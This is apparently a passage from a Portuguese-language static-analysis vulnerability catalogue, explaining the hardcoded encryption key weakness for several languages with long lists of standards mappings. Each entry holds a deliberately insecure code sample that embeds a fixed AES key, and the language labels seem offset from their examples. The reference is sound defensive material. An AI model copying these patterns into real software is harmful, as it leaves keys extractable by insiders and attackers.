[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[62] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.cpp.hardcoded_encryption_key
Abstract
Chaves de criptografia embutidas em código podem comprometer a segurança de uma maneira que não é fácil de remediar.
Explanation
Nunca é uma boa ideia inserir uma chave de criptografia em código fixo, pois isso permite que todos os desenvolvedores do projeto a visualizem, além de também dificultar extremamente a correção do problema. Depois que o código está em produção, é necessário um pacote de software para alterar a chave de criptografia. Se a conta protegida pela chave de criptografia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.

Exemplo 1: O seguinte código usa uma chave de criptografia inserida em código fixo:


...
<cfset encryptionKey = "lakdsljkalkjlksdfkl" />
<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
...


Qualquer pessoa com acesso ao código tem acesso à chave de criptografia. Depois que o aplicativo for distribuído, não será mais possível alterar a chave de criptografia, a não ser que um patch seja aplicado a esse programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Se os invasores tivessem acesso ao executável do aplicativo, eles poderiam extrair o valor da chave de criptografia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.cfml.key_management_hardcoded_encryption_key
Abstract
Chaves de criptografia embutidas em código podem comprometer a segurança de uma maneira que não é fácil de remediar.
Explanation
Nunca é uma boa ideia embutir em código uma chave de criptografia, pois todos os desenvolvedores do projeto podem exibi-la, e a correção do problema é extremamente difícil. Depois que o código está em produção, a alteração da chave de criptografia requer um patch de software. Se a conta protegida pela chave de criptografia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.

Exemplo 1: O seguinte código usa uma chave de criptografia inserida em código fixo:


...
key := []byte("lakdsljkalkjlksd");
block, err := aes.NewCipher(key)
...


Qualquer pessoa com acesso ao código tem acesso à chave de criptografia. Depois que o aplicativo for distribuído, não será mais possível alterar a chave de criptografia, a não ser que um patch seja aplicado ao programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Se os invasores tiverem acesso ao executável do aplicativo, poderão extrair o valor da chave de criptografia.
References
[1] MSC03-J. Never hard code sensitive information CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[38] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.golang.key_management_hardcoded_encryption_key
Abstract
Chaves de criptografia embutidas em código podem comprometer a segurança de uma maneira que não é fácil de remediar.
Explanation
Nunca é uma boa ideia inserir uma chave de criptografia em código fixo, pois isso permite que todos os desenvolvedores do projeto a visualizem, além de também dificultar extremamente a correção do problema. Depois que o código está em produção, é necessário um pacote de software para alterar a chave de criptografia. Se a conta protegida pela chave de criptografia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.

Exemplo 1: O seguinte código usa uma chave de criptografia inserida em código fixo:


...
private static final String encryptionKey = "lakdsljkalkjlksdfkl";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...


Qualquer pessoa com acesso ao código tem acesso à chave de criptografia. Depois que o aplicativo for distribuído, não será mais possível alterar a chave de criptografia, a não ser que um patch seja aplicado a esse programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Se os invasores tivessem acesso ao executável do aplicativo, eles poderiam extrair o valor da chave de criptografia.
References
[1] MSC03-J. Never hard code sensitive information CERT
[2] Standards Mapping - Common Weakness Enumeration CWE ID 321
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[10] Standards Mapping - FIPS200 IA
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[14] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[15] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[16] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[17] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[18] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[19] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[37] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[38] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.java.key_management_hardcoded_encryption_key
Abstract
Chaves de criptografia embutidas em código podem comprometer a segurança de uma maneira que não é fácil de remediar.
Explanation
Nunca é uma boa ideia inserir uma chave de criptografia em código fixo, pois isso permite que todos os desenvolvedores do projeto a visualizem, além de também dificultar extremamente a correção do problema. Depois que o código está em produção, é necessário um pacote de software para alterar a chave de criptografia. Se a conta protegida pela chave de criptografia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.

Exemplo 1: O seguinte código usa uma chave de criptografia inserida em código fixo:


...
var crypto = require('crypto');
var encryptionKey = "lakdsljkalkjlksdfkl";
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...


Qualquer pessoa com acesso ao código tem acesso à chave de criptografia. Depois que o aplicativo for distribuído, não será mais possível alterar a chave de criptografia, a não ser que um patch seja aplicado a esse programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Se os invasores tivessem acesso ao executável do aplicativo, eles poderiam extrair o valor da chave de criptografia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
